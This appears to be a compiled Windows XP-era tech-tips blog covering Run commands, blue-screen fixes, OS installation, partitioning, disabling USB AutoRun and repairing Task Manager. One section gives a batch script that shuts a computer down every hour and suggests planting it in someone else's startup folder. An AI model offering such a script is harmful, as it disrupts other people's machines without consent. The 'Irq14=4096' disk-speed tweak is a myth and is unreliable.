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RUN COMMANDS

More commands for Windows XP, Vista and Windows 7:
If you have known "cmd" and tried typing it on the run window, you might want to explore and use other commands for your computer.

Here is the list A-Z of diffrent Run commands. To access go to run (Win + R )

1.Click Start, and then click Run.
2.Type (one of those written below) and then click OK.

A

Accessibility Controls : access.cpl
Accessibility Wizard : accwiz
Add Hardware Wizard : hdwwiz.cpl
Add/Remove Programs : appwiz.cpl
Administrative Tools control : admintools
Adobe Acrobat (if installed) : acrobat
Adobe Designer (if installed) : acrodist
Adobe Distiller (if installed) : acrodist
Adobe ImageReady (if installed) : imageready
Adobe Photoshop (if installed) : photoshop
Automatic Updates : wuaucpl.cpl

B
Bluetooth Transfer Wizard : fsquirt

C
Calculator : calc
Certificate Manager : certmgr.msc
Character Map : charmap
Check Disk Utility : chkdsk
Clipboard Viewer : clipbrd
Command Prompt : cmd
Component Services : dcomcnfg
Computer Management : compmgmt.msc
Control Panel : control


D
Date and Time Properties : timedate.cpl
DDE Shares : ddeshare
Device Manager : devmgmt.msc
Direct X Control Panel (If Installed)* : directx.cpl
Direct X Troubleshooter : dxdiag
Disk Cleanup Utility : cleanmgr
Disk Defragment : dfrg.msc
Disk Management : diskmgmt.msc
Disk Partition Manager : diskpart
Display Properties control : desktop
Display Properties : desk.cpl
Display Properties (w/Appearance Tab Preselected) control : color
Dr. Watson System Troubleshooting Utility : drwtsn32
Driver Verifier Utility : verifier

E
Event Viewer : eventvwr.msc

F
Files and Settings Transfer Tool : migwiz
File Signature Verification Tool : sigverif
Findfast : findfast.cpl
Firefox (if installed) : firefox
Folders Properties control : folders
Fonts control : fonts
Fonts Folder : fonts
Free Cell Card Game : freecell

G
Game Controllers : joy.cpl
Group Policy Editor (XP Prof) : gpedit.msc
H
Hearts Card Game : mshearts
Help and Support : helpctr
HyperTerminal : hypertrm

I
Iexpress Wizard : iexpress
Indexing Service : ciadv.msc
Internet Connection Wizard : icwconn1
Internet Explorer : iexplore
Internet Properties : inetcpl.cpl
Internet Setup Wizard : inetwiz
IP Configuration (Display Connection Configuration) : ipconfig /all
IP Configuration (Display DNS Cache Contents) : ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents) : ipconfig /flushdns
IP Configuration (Release All Connections) : ipconfig /release
IP Configuration (Renew All Connections) : ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS) : ipconfig /registerdns
IP Configuration (Display DHCP Class ID) : ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID) : ipconfig /setclassid

J
Java Control Panel (If Installed) : jpicpl32.cpl
Java Control Panel (If Installed) : javaws

K
Keyboard Properties control : keyboard

L
Local Security Settings : secpol.msc
Local Users and Groups : lusrmgr.msc
Logs You Out Of Windows : logoff

M
Malicious Software Removal Tool : mrt
Microsoft Access (if installed) : access.cpl
Microsoft Chat : winchat
Microsoft Excel (if installed) : excel
Microsoft Frontpage (if installed) : frontpg
Microsoft Movie Maker : moviemk
Microsoft Paint : mspaint
Microsoft Powerpoint (if installed) : powerpnt
Microsoft Word (if installed) : winword
Microsoft Syncronization Tool : mobsync
Minesweeper Game : winmine
Mouse Properties control : mouse
Mouse Properties : main.cpl

N
Nero (if installed) : nero
Netmeeting : conf
Network Connections control : netconnections
Network Connections : ncpa.cpl
Network Setup Wizard : netsetup.cpl
Notepad : notepad
Nview Desktop Manager (If Installed) : nvtuicpl.cpl

O
Object Packager : packager
ODBC Data Source Administrator : odbccp32.cpl
On Screen Keyboard : osk
Opens AC3 Filter (If Installed) : ac3filter.cpl
Outlook Express : msimn

P
Paint : pbrush
Password Properties : password.cpl
Performance Monitor : perfmon.msc
Performance Monitor : perfmon
Phone and Modem Options : telephon.cpl
Phone Dialer : dialer
Pinball Game : pinball
Power Configuration : powercfg.cpl
Printers and Faxes control : printers
Printers Folder : printers
Private Character Editor : eudcedit

Q
Quicktime (If Installed) : QuickTime.cpl
Quicktime Player (if installed) : quicktimeplayer

R
Real Player (if installed) : realplay
Regional Settings : intl.cpl
Registry Editor : regedit
Registry Editor : regedit32
Remote Access Phonebook : rasphone
Remote Desktop : mstsc
Removable Storage : ntmsmgr.msc
Removable Storage Operator Requests : ntmsoprq.msc
Resultant Set of Policy (XP Prof) : rsop.msc

S
Scanners and Cameras : sticpl.cpl
Scheduled Tasks control : schedtasks
Security Center : wscui.cpl
Services : services.msc
Shared Folders : fsmgmt.msc
Shuts Down Windows : shutdown
Sounds and Audio : mmsys.cpl
Spider Solitare Card Game : spider
SQL Client Configuration : cliconfg
System Configuration Editor : sysedit
System Configuration Utility : msconfig
System File Checker Utility (Scan Immediately) : sfc /scannow
System File Checker Utility (Scan Once At Next Boot) : sfc /scanonce
System File Checker Utility (Scan On Every Boot) : sfc /scanboot
System File Checker Utility (Return to Default Setting) : sfc /revert
System File Checker Utility (Purge File Cache) : sfc /purgecache
System File Checker Utility (Set Cache Size to size x) : sfc /cachesize=x
System Information : msinfo32
System Properties : sysdm.cpl

T
Task Manager : taskmgr
TCP Tester : tcptest
Telnet Client : telnet
Tweak UI (if installed) : tweakui

U
User Account Management : nusrmgr.cpl
Utility Manager : utilman

W
Windows Address Book : wab
Windows Address Book Import Utility : wabmig
Windows Backup Utility (if installed) : ntbackup
Windows Explorer : explorer
Windows Firewall : firewall.cpl
Windows Magnifier : magnify
Windows Management Infrastructure : wmimgmt.msc
Windows Media Player : wmplayer
Windows Messenger : msmsgs
Windows Picture Import Wizard (need camera connected) : wiaacmgr
Windows System Security Tool : syskey
Windows Update Launches : wupdmgr
Windows Version (to show which version of windows) : winver
Windows XP Tour Wizard : tourstart
Wordpad : write

Directx diagnostic (dxdiag)

DirectX runs in the background and greatly speeds up your computer's handling of audio and visual content. You'll rarely (if ever) have to think about it unless you need to know your system specs. That's where the DirectX Diagnostic Tool comes in handy.

The DirectX Diagnostic Tool takes a snapshot of your machine and shows you what it sees. All this happens entirely within your computer and no information is reported to anyone but you.

To use the DirectX Diagnostic Tool to determine the version of DirectX that is installed on your computer, follow these steps:

1.Click Start, and then click Run.
2.Type dxdiag, and then click OK.
3.On the System tab, note the version of DirectX displayed on the DirectX Version line.
4.On the DirectX Files tab, check the version information for each DirectX file.
5.When you are finished checking file versions, click Exit.

Figure 1. Click Start and choose the Run Command on the Start Menu.

Figure 2.Type "dxdiag" (without the quote marks) and click ok.

Figure 3.A Command Box will appear. Click yes.

Figure 4.The DIRECTX DIAGNOSTIC TOOL will now appear. From there, it will now show you the general computer configuration and other diagnostics on each command tabs.

That does it!!

ShutDown your computer

 ShutDown your computer every 1 hour.
Lets begin
- First open notepad and copy this script

at 0:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 1:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 2:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 3:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 4:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 5:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 6:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 7:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 8:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 9:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 10:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 11:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 12:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 13:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 14:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 15:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 16:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 17:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 18:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 19:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 20:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 21:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 22:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 23:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 24:00 every:m,t,w,th,f,sa,s shutdown -s -t 5

- Then save this as a batch file, anyname.bat
- the file that we made you can just open it, or put it into someones startup folder.
Note:
You can instead of using every: type a date, and you can use and program .exe .bat or script or anything in place of the shutdown code
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Open Multiple Program at a time
if you work in a computer then open multiple program at time
it save your time . .

start /d "C:\Program Files\Microsoft Office\Office11" winword.EXE
start /d "C:\Program Files\Microsoft Office\Office11" winword.EXE
start /d "C:\Program \Files\Microsoft Office\Office11" EXCEL.EXE

How to start?

                            How to start windows programs quickly with Run Command?
The run option of Start menu is used to run a program or to open a document directly. If you do not know the exact location of the program or document then click on Start button to open Run and type the programs shortcut name to open it directly.
Run Commands
appwiz.cpl — Used to run Add/Remove wizard
Calc –Calculator
Cfgwiz32 –ISDN Configuration Wizard
Charmap –Character Map
Chkdisk –Repair damaged files
Cleanmgr –Cleans up hard drives
Clipbrd –Windows Clipboard viewer
Control –Displays Control Panel
Cmd –Opens a new Command Window
Control mouse –Used to control mouse properties
Dcomcnfg –DCOM user security
Debug –Assembly language programming tool
Defrag –Defragmentation tool
Drwatson –Records programs crash & snapshots
Dxdiag –DirectX Diagnostic Utility
Explorer –Windows Explorer
Fontview –Graphical font view
Fsmgmt.msc — Used to open shared folders
Firewall.cpl — Used to configure windows firewall

Ftp -ftp.exe program
Hostname –Returns Computer’s name
Hdwwiz.cpl — Used to run Add Hardware wizard
Ipconfig –Displays IP configuration for all network adapters
Logoff — Used to logoff the computer
MMC –Microsoft Management Console
Msconfig –Configuration to edit startup files
Mstsc — Used to access remote desktop
Mrc — Malicious Software Removal Tool
Msinfo32 –Microsoft System Information Utility
Nbtstat –Displays stats and current connections using NetBIOS over TCP/IP
Netstat –Displays all active network connections
Nslookup–Returns your local DNS server
Osk —Used to access on screen keyboard
Perfmon.msc — Used to configure the performance of Monitor.
Ping –Sends data to a specified host/IP
Powercfg.cpl — Used to configure power option
Regedit –Registry Editor
Regwiz — Registration wizard
Sfc /scannow — System File Checker
Sndrec32 –Sound Recorder
Shutdown — Used to shutdown the windows
Spider — Used to open spider solitaire card game
Sfc / scannow — Used to run system file checker utility.
Sndvol32 –Volume control for soundcard
Sysedit — Edit system startup files
Taskmgr –Task manager
Telephon.cpl — Used to configure modem options.
Telnet –Telnet program
Tracert –Traces and displays all paths required to reach an internet host
Winchat — Used to chat with Microsoft
Wmplayer — Used to run Windows Media player

Wab — Used to open Windows address Book.
WinWord — Used to open Microsoft word
Winipcfg –Displays IP configuration
Winver — Used to check Windows Version
Wupdmgr –Takes you to Microsoft Windows Update
Write — Used to open Word Pad

Increase your hard disk speed

Posted by tech master
To speed up your hard disk speed we need to configure a special buffer in the computer's memory in order to enable it to better deal with interrupts made from the disk.

This tip is only recommended if you have 256MB RAM or higher.

Follow these steps:

Run SYSEDIT.EXE from the Run command.
Expand the system.ini file window.
Scroll down almost to the end of the file till you find a line called [386enh].
Press Enter to make one blank line, and in that line type Irq14=4096

Note: This line IS CASE SENSITIVE!!!

Click on the File menu, then choose Save.

Close SYSEDIT and reboot your computer.

Done. Speed improvement will be noticed after the computer reboots.
Update: The most speed improvement is visible with IDE drives, however there are reports that this tweak also does good for SCSI disks. In any case, it won't harm your system, so why not try it yourself and let me know what you find.

Dual core processor...

                                        Dual core computer processors: luxury or necessity?
Most of the talk going on in the computer processor industry is revolving around dual core processors. But what advantages do they actually give and is it worth it in terms of price?

All processors have a core. A processor contains some memory, often referred to as cache, either L1, L2 or L3, depending on how close it is to the core, and the core itself, as well as a few other essentials. The core is the "brain" part, it performs all the big calculations that are needed for the various things a computer does.

Computer cores have been increasing in speed, and increasingly quickly. Manufacturers were in a race to have the chip with the fastest speed, measured in GHz. One surprise is that despite these increases in clock speed, the actual speed of programs didn't increase proportionately.

As modern programs make much heavier use of other computer parts like memory, and there are often many running at the same time, another approach was needed.

Dual core processors were the answer.

By putting two "brain" parts into the processor, you can run two programs on two cores, without having to share it between them. The effect of this is that when running two or more programs, the processor can now handle much more as a whole.


The part about them that might disappoint is gaming.

Unlike the multitasking environment that is usual for a computer either at home or at the office, games rely on the brute force of a powerful processor to help them along. So far there is no technology to take advantage of the two processors, like the ability to split its tasks over two cores. Most gaming has not improved with this new technology.

As with processors in the past the mainstream of dual core processors is dominated by the two big guys, Intel and AMD.

Intel offers two processors in its range, same processor, just different speeds. The lower priced of the Pentium D processors comes in at around $250. This price is reasonable considering how much you would pay for the top of the line single core processor.

The Pentium D is based on the same core as it's single core counterparts, just two of them inside. Its boost in performance is quite notable, and makes it presence felt in the multitasking environment.

The AMD Athlon X2 is AMD's offering in the dual core market. Unlike the Pentium D its lowest priced model comes in at a staggering $400. It's not expensive compared to processors like its FX series, which are over $1000, but in comparison to Intel it's expensive.

It too is based on the same core as its single core cousins and also offers the same performance increases.

The price of the AMD is surprising. From a company that became renowned for it's low cost, high performance processors this is quite a blow. Even the upper model of the Pentium Ds comes in at less that AMD's cheapest model.

The price might be justified if the AMD actually gave a significant performance boost, but it doesn't.

For the first time in a long time, I think I would be willing to switch back to an Intel processor. Although my preference is not for dual core, if I had or needed to switch I would certainly go straight for the Pentium D.

And finally, how do they compare to their now out of date traditional processors?

Considering how powerful processors have become I would still not make the switch. Dual core has not been around long enough to produce low cost, slightly out of date models. The power of the AMD Athlon 64 3000+ more than does it for my computing needs, and that's where I would stay for now.

So for those who are looking for the next cool thing for their desktop computer and price is not a huge issue, this would be your best choice, but go for the lower end Pentium D.
About the Author

Peter Stewart is a computer enthusiast, his interest in computers and focus on practicle down to earth advice inspired his two websites. http://www.computer-buying-guide.com - Practical buying tips http://www.computer-reviews.net - Fair and honest reviews and opinions

UNMOUNTABLE_BOOT_VOLUME "...Working with Blue Screen..

I turned my computer on and after a while a blue screen appeared. I can’t pass through and I thought of reformatting my pc when I read about this problem in MSGOODIES.

You'll probably notice on the screen error like this :

UNMOUNTABLE_BOOT_DEVICE STOP: 0x000000ED (0xaddress,0xC0000006,0x00000000,0x000000)

Here’s how I got the answer:

Start the recovery console. If you do not have it installed - or when that version does not work - like in this case, boot from an installation CD and select R for repair.

Run these command

chkdsk c: /r /p
fixmbr
exit (to reboot)

that’s it!!
Hope this helps on you too.

Repairing Blue Screen

After you’ve had a blue screen either or your pc won’t start, you’ll probably worry and want your important files to be recovered.

HARD DISK DATA RECOVERY

1. Remove hard drive from the non-working pc.
2. Install it on another working pc. This will perform an automatic scan. If it doesn’t, set up a manual scan. This checks what causes the error, this file can be deleted manually.

Go to my computer, instead of open, choose “explore”. This will show the lists of your drives. Choose the hard drive you removed from the non working pc. Open it to access all your files. Go to the Windows directory to manually delete file that shows up in the blue screen.

You may need to copy your files to ensure data has a back up in case you may need to reformat your pc.

Setting up a Manual Scan/Checkdisk

To perform a manual checkdisk or scan, go to your drive and click properties. A window will appear. Click on the TOOLS tab, and then go to error checking, click check now. On the check disk options, click the two checkboxes then start. It will prompt the user to restart the computer and perform a disk check upon its start up. After the drive has been checked and error shown in the blue screen is removed. You may reinstall it again on the non working computer.

NOTE: If the scan did not find error/s, you will have to reinstall windows or a new operating system on the non-working personal computer(pc).

Mzu_drv.sys Undesirable Program!

This file has been identified as a program that is undesirable to have running on your computer. This consists of programs that are misleading, harmful, or undesirable. The description is Trojan. MZU_DRV-Rootkit Process.

Trojans are programs that can appear to serve a legitimate purpose but actually have an unwanted or harmful effect.

A large segment of Trojan programs download other harmful software components to a user's PC without his/her knowledge.


The blue screen is caused by downloaded and installed applications that is considered to be adware or spyware. If a blue screen appears, message prompts to the “blue screen” caused by mzu_drv.sys or other related rootkit processes.


Related files to mzu_drv.sys

icnkeepr.exe mm.exe fsched.exe scanreg32.com wintmp.exe qi00tbz.exe mxs.exemsn.msn spcvls.exe vcmain.exe explorere.exe stisvsq1.exe boot.vbsconfig_.com radio.exe tacelmgr.exe sswizard.exe ruby14.exekernel32.exe winligom.exe sysbot.exe yahoopops.exe random-filename nava32.exe wscntfx.exe ynavmrcd.exe g_server.exezykheptd.sys mccitrayapp.exe arrdt.exe omniscient.exe avbgle.exeremoved.exe n20050308.exe adslcomdos.exe diskmon.exemsvchost.exe winhlp3.exe saskatcw.exe gbtray.exe lcd32.exe read.exewdfmgr32.exe

What can you do?

This unwanted program can be solved by setting up your computer to safe mode and performing a registry scan of an antivirus and antispyware program. Search antispyware programs that really intends to delete the rootkit processes running on your computer. Some other processes though can be done manually.

1. Run your computer in safe mode.
2. Go to start menu then click search. When the search bar appears, choose all files and folders.
3. Type mzu in the search box, then scroll down and click more advanced options and click the check box for “search hidden files and folders”. After which click search button. Some files will appear including an “mzu.drv”. Under In folder, you can see its location is also displayed. Right click on the folder mzu.drv to open containing folder. Locate the mzu.drv file and delete it totally from the system. Delete it too from the recycle bin.
4. Restart your computer.

That does it!

Performing a new installation of Windows XP

If your computer does not have an operating system currently installed or you have decided to install Windows from scratch, you can perform what is known as a new installation (also known as a clean installation, or a full installation). This process is more complicated and takes longer than an upgrade (about 20 steps as opposed to 9 for an upgrade).

Note: Before installing Windows XP, you should disable you virus protection (antivirus) software, and you might want to run the Windows Memory Diagnostic tool to test your computer's random access memory (RAM). To use the Windows Memory Diagnostic tool, follow the instructions on the Windows Memory Diagnostic Web site. Be sure to enable your virus protection software after installing Windows XP.

CAUTION: You can choose to delete everything that currently exists on the hard drive during a new installation, so be sure to back up any data you want to keep before you begin (make sure that the backup data is not stored on the drive you are going to delete).


Here's how to perform a new installation of Windows XP:


1.Insert the Windows XP CD into the CD-ROM drive.

2.Restart the computer.

3.When the message to Press any key to boot from CD… is displayed, quickly press any key (for example, the SPACEBAR). Setup begins.

Note: Pay close attention here, because it's very easy to miss this message. If your current operating system starts, you'll know that you missed the opportunity to boot from CD. Restart your computer and try again.

4.After Setup starts, several messages will flash across the bottom of the screen. These messages are only important under special circumstances, such as installing a particular hardware access layer (HAL), or loading a small computer system interface (SCSI) driver.

5.Next, a screen appears that offers the following three options: Set up Windows XP, Repair a Windows XP installation, or Quit Setup. Press ENTER to select the first option.

6.The End User License Agreement appears next. Read the license agreement and follow the instructions to accept or reject the agreement. If your Windows CD is an upgrade CD, after accepting the agreement, you will be prompted to insert the CD of your previous operating system to verify that the previous version qualifies for upgrade to Windows XP.


Important! If you use a recovery CD from an original equipment manufacturer (also called an OEM), it is possible that the CD will not be accepted. If you delete the partition information or format the drive and the OEM recovery CD is not accepted as valid media, you must use the OEM recovery CD to restore your previous version of Windows.


7.If a screen appears showing an existing installation of Windows XP, press ESC to continue installing a fresh copy of Windows XP.

8.At the next screen, you have the option of repartitioning your drive. It's a good idea to repartition if you want to merge several smaller partitions into one large one, or if you want to create several smaller partitions so that you can set up a multiboot configuration. If you want to repartition, follow the instructions to delete existing partitions, if needed, and then select unpartitioned space and press ENTER to proceed.

9.Select the formatting method you would like to use, and then press ENTER. NTFS offers both enhanced formatting capabilities and security technologies. If you need to access drives or DOS files (such as from a DOS-based boot disk) using Windows Millennium Edition or earlier versions of Windows, you might need to select FAT32 instead. Select either format method (quick or slow).

10.Setup will format the drive, copy initial Setup files, and restart the computer.


Note: After the computer restarts, you will again receive the message Press any key to boot from CD but you should ignore it so that you do not interrupt the current installation process.


11.After another restart, the next part of Setup will begin.

12.On the Regional and Language Options page, follow the instructions to add language support or change language settings, if desired.

13.On the Personalize Your Software page, type your name and the name of your company or organization (if applicable).

14.On the Your Product Key page, type the 25-character product key that came with your copy of Windows XP.

15.On the Computer Name and Administrator Password page, make up a computer name (if your network administrator gave you a name to use, type that). Then make up a password for the Administrator account on your computer. Type it once, and then confirm it by typing it again.


Important: Be sure to remember the Administrator password. You'll need this password when you want to make changes to your system in the future.


16.On the Date and Time Settings page, make any changes that are necessary.

17.On the Networking Settings page, if it appears, select Typical settings (unless you plan to manually configure your networking components).

18.On the Workgroup or Computer Domain page, click Next. If you want to add your computer to a domain, select the second option and fill in the domain name. (If you do this, you will be prompted for a user name and password.)


Note: Connecting to a domain is only possible in Windows XP Professional, not in Windows XP Home Edition.


19.Next, while Setup copies files to your computer and completes a few other tasks, you'll see a series of screens that tell you about new features in Windows XP.

20.Finally, your computer will restart. Again, ignore the message to press any key. After Setup completes, eject the CD from the CD-ROM drive.


Do not forget to enable your virus protection software after Setup is finished or install one. It is necessary to protect your computer from unwanted programs and viruses.

How do I set the default operating system (when multiple systems are installed)?

If you have more than one operating system installed, you can select the operating system that you want to use as the default:

1.In Windows XP, right-click My Computer, and then click Properties.

2.On the Advanced tab, under Startup and Recovery, click Settings.

3.Under System startup, in the Default operating system list, click the operating system that you want to start when you turn on or restart your computer.

4.Select the Time to display list of operating systems check box, and then select the number of seconds for which you want the list displayed before the default operating system starts.


Warning: The boot options file (Boot.ini) controls the number and order of operating systems on your computer. To manually edit this file, clickEdit on the Startup and Recovery tab. Use caution when modifying the boot options file. Doing so incorrectly might make your computer unusable.

How to disable AutoRun for USB flash drives

If you're concerned about security, you may want to disable AutoRun for USB flash drives. Using USB flash drives from unknown sources could contain malware that automatically installs itself when connected to your computer! Prevent this security risk and disable AutoRun for USB flash drives now...


Step 1:
First, start by backing up your system, registry, and other important files. This can be easily accomplished by creating a new "Restore Point" using the "System Restore" tool. It's always important to make backups *before* making any changes to your computer system.

Step 2:
After you complete the first step, open Notepad or your favorite text editor.

Step 3:
Copy and paste exactly the following into your text editor:

REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf]
@="@SYS:DoesNotExist"


Step 4:
Next, choose "File > Save As" and save your new file as "StopUSBAuto.reg" (include double quotes in file name). Make sure to save this file in a location where it can be easily found, such as the "Desktop" or "My Documents" folder.

Step 5:
Find the file that you just created and double-click on it.

Step 6:
Windows will ask if you want to add/import the new information from "StopUSBAuto.reg" into the Registry. Click "Yes" to continue.

Step 7:
That's it! AutoRun for USB flash drives should now be disabled.

ISO FILE

An ISO file, often called an ISO image, is in fact an "image" of an entire CD or DVD. The entire contents of a disc can be perfectly represented in a single ISO file.

You can think of an ISO file like a box that holds all the parts to something that needs built - like a child's toy you might buy that requires assembly. The box that the toy pieces come in does you no good as an actual toy but the contents inside of it, once taken out and put together, become what you're actually wanting to use.

An ISO file is the same way. The file itself is no good unless it can be opened, assembled, and used. The most common way to make use of an ISO file is to burn the ISO file to a CD or DVD. It's a different process than burning an MP3 file or a document to a disc because your CD/DVD burning software must "assemble" the contents of the ISO file onto the disc.


ISO image files are often used to distribute large programs over the Internet due to the fact that all of the program's files can be neatly contained as a single file - the ISO file.ISO images end in the file extension ISO.


How to Create a Bootable Disk From ISO


The ISO image format allows you to store virtual backups of your CDs and DVDs on your computer's hard drive. The contents of your CDs or DVDs are stored in the ISO format, along with its boot information, allowing you to create physical copies as you need them. And unlike standard burning software, an ISO utility like PowerISO--which is capable of reading the ISO format and its boot information--can create a bootable, physical copy of your virtual image file.


1.Navigate your web browser to the official homepage of PowerISO and download a copy of the utility. After the download has completed, close all other programs and install it. After the software is installed, PowerISO will need to reboot your computer before it is ready to run.

http://www.poweriso.com/download.htm
http://www.freeisoburner.com/

2.Launch the program. Click "Open" located in the top left corner of PowerISO. Use the File Explorer window that pops up to locate the ISO file on your computer. Select the file. Click "Open" in the bottom left corner of the Explorer window.

3.Insert a blank CD or DVD into your computer's CD/DVD-ROM drive. Click "Burn" located near the top right corner of PowerISO. The Burn Image File menu will appear.

4.Navigate to the heading labeled "Burning Parameters" and place a check in the box labeled "Verify Written Data." Click "Burn" at the bottom of the window to burn a physical copy of the ISO image file.

Partition and format a hard drive in windows XP

If there are no partitions on your hard drive, you will need to create a partition and format it. Alternatively, it's a good idea to repartition your hard drive if you want to merge several smaller partitions into one large one, or if you want to create several smaller partitions so that you can set up a multiboot configuration.

If you want to partition or format your hard drive, we recommend that you use the disk partitioning and formatting tools that are built into Windows XP Setup. These tools allow you to delete existing partitions and to create one or more new partitions.


IMPORTANT: If you follow these steps on a hard disk that is not empty, all of the data stored on that hard disk will be permanently deleted.
To use the disk partitioning and formatting tools in Windows XP Setup:


1.Insert the Windows XP CD into your CD/DVD drive (or insert the first Windows XP Setup boot disk into the floppy disk drive), and then restart the computer.
Note: To start your computer from the Windows XP CD (or from the Setup boot disk), your computer must be configured to start from the CD/DVD drive (or the floppy disk drive). In some cases, you might have to modify your computer's BIOS settings to do this.

2.If you are starting the computer from the Windows XP CD, press a key to boot from CD when you are prompted to do so. If you are starting from the Windows XP Setup boot disks, insert each of the additional disks when prompted, and then press ENTER to continue after inserting each disk.

3.At the Welcome to Setup page, press ENTER to continue.

4.On the License Agreement page, read the agreement, and then follow the instructions for accepting or rejecting the agreement.

5.If an existing Windows XP installation is detected, you will be prompted to repair it. Press ESC (do not repair).

6.All existing partitions and unpartitioned spaces are listed for each physical hard disk. Use the arrow keys to select the partition or unpartitioned space where you want to create a new partition, and then press D to delete an existing partition or press C to create a new partition using unpartitioned space.

If you press D to delete an existing partition, you must then press L (or press ENTER, and then press L if it is the System partition) to confirm that you want to delete the partition. Repeat this process for each of the existing partitions that you want to use for the new partition. When all the partitions are deleted, select the resulting unpartitioned space and press C to create a new partition.

Note: If you want to create a partition where one or more partitions already exist, you must first delete the existing partition or partitions and then create the new partition.

7.Type the size (in megabytes, or MB) that you want to use for the new partition, and then press ENTER, or just press ENTER to create the partition using the maximum size.

8.If you want to create additional partitions, repeat steps 6 and 7.

9.If you want to install Windows XP, use the arrow keys to select the partition you want to install it on, and then press ENTER. If you do not want to format the partition and install Windows XP, press F3 two times to quit Setup, and then do not continue with the following steps. In this case, you must use another program to format the partition.

10.Select the format option that you want to use for the partition, and then press ENTER. The options are:

* Format the partition by using the NTFS file system (Quick)
* Format the partition by using the FAT file system (Quick)
* Format the partition by using the NTFS file system
* Format the partition by using the FAT file system
Leave the current file system intact (no changes)


For most configurations, NTFS is a good choice for security and flexibility. If you plan to install a multiboot configuration and access data on the drive using older operating systems such as Windows 95, Windows 98, or Windows Millennium Edition, however, select FAT.



When you format a volume, files are removed from the volume and the hard disk is scanned for bad sectors. The majority of the time required to format a volume is devoted to scanning the disk. If you choose the Quick format option, files are removed from the partition, but the disk is not scanned for bad sectors. You should only use this option if your hard disk has been previously formatted and you are sure that your hard disk is not damaged.



Note: During Windows XP Setup, the option to leave the current file system intact is not available if the selected partition is a new partition. For partitions up to 2 gigabytes (GB) in size, Setup uses the FAT (also known as FAT16) file system. For partitions greater than 2 GB but less than 32 GB, Setup uses the FAT32 file system. For partitions greater than 32 GB, Setup uses NTFS.

Note: If you deleted and created a new System partition but you are installing Windows XP on another partition, you will be prompted to select a file system for both the System and Boot partitions at this point.


11.After Setup formats the partition, follow the on-screen instructions to continue Setup. After Setup is complete, you can use the Disk Management tools in Windows XP to create or format additional partitions.

_If u have successfully partitioned your drive, congratulations...cheers!!!_

How to Install Ubuntu Linux on Your PC

Ubuntu is the most user friendly Linux distribution. It is easy to install, easy to learn and use. Like other Linux distributions, it is free for all. Here are the steps to install Ubuntu on a PC.


1. Search and download the latest Ubuntu i386. After the download is completed, burn its ISO image on a blank CD at 8x speed. Decide if you want to keep the Ubuntu alone or both the operating systems on your PC. Take a backup of your files on the USB or other storage device. Now insert the Ubuntu CD you have recently burnt. Does the Ubuntu Screen flash on your PC? Now click where it says, "Boot from this CD to try Ubuntu without affecting your system". You will see all the information about Ubuntu Linux flash on the screen; follow the instructions on the successive pages. The last one will be the welcome screen and your PC will ask if it should reboot. Reboot your PC it will give you following options:

•Start or install Ubuntu
•Start Ubuntu in safe graphics mode
•Install with driver update CD
•Check CD for defects
•Memory test


2.Boot the machine from the CD; which installs Ubuntu after 30 seconds if you do not give any other command. After the CD is loaded you will see the Ubuntu splash screen, the desktop and brown wallpaper. On this desktop you will see a small install icon double click on it, then select the language and enter your location. Then click at the forward button. Then try your keyboard layout in English. Then go forward.

3.Then partition the hard disk - use these two options -

a. If you want to keep your Windows system, then select the option that says "Guided - resize the partition and use the freed space".
b. If you want to delete your Windows system, select the option that says "Guided - use entire disk".
Once you have done this, click the Forward button.

4.Migration Assistant allows you to choose the Windows account that you want to migrate to Ubuntu. If you are loading Ubuntu on a new machine then choose, "There were no users or operating systems suitable for importing from.", and click the Forward button to complete the installation. Put in your personal details enter the name you would like to flash when you log in to your computer. Then go forward. Voila, you have arrived into your new Ubuntu Operating System. The Ubuntu installation will be complete.

5.After the installation is complete - a screen will appear asking you -

a. Continue using the live CD
b. Restart Now

Restarting the PC is recommended.

Task Manager

You can use the task manager in Windows to start and end programs, view the processes that are running, and check on the performance of your computer. Without the use of your task manager, you are in the dark about what is going on with your computer. So task manager errors should be remedied immediately.


Task Manager Has Been Disabled By Your Administrator


One common task manager error that you might see says that the utility has been disabled by the administrator. If you are the administrator, and you know that you did not disable the task manager, then there definitely is a problem that needs to be resolved.

Oftentimes, when you see this error message it is because a virus or spyware program is operating on your system. It disables your task manager so that you cannot view or end the process. To correct this problem, go to your "Start" menu and then select "Run." Enter "Regedit.exe" (without the quotes). This will bring up a list of your registry editor. Click the plus sign for "HKEY_CURRENT_USER," then "Software" and, after that, follow the following path "Microsoft \ Windows \ CurrentVersion \ Policies\ System." You'll see "DisableTaskMgr" in the right pane. Delete it to re-enable your task manager.


Can't See the Top Bar


If you open your task manager and notice that for some reason you cannot see your top menu bar, this also might be a spyware attack. The surreptitious program doesn't want you to be able to tab over to processes and see that it is running in the background.

No need to panic---there is a quick and easy fix to this problem of not being able to see the top area of your task manager. Click the area where the bar should be. It should reappear instantly.

Do a Virus Scan


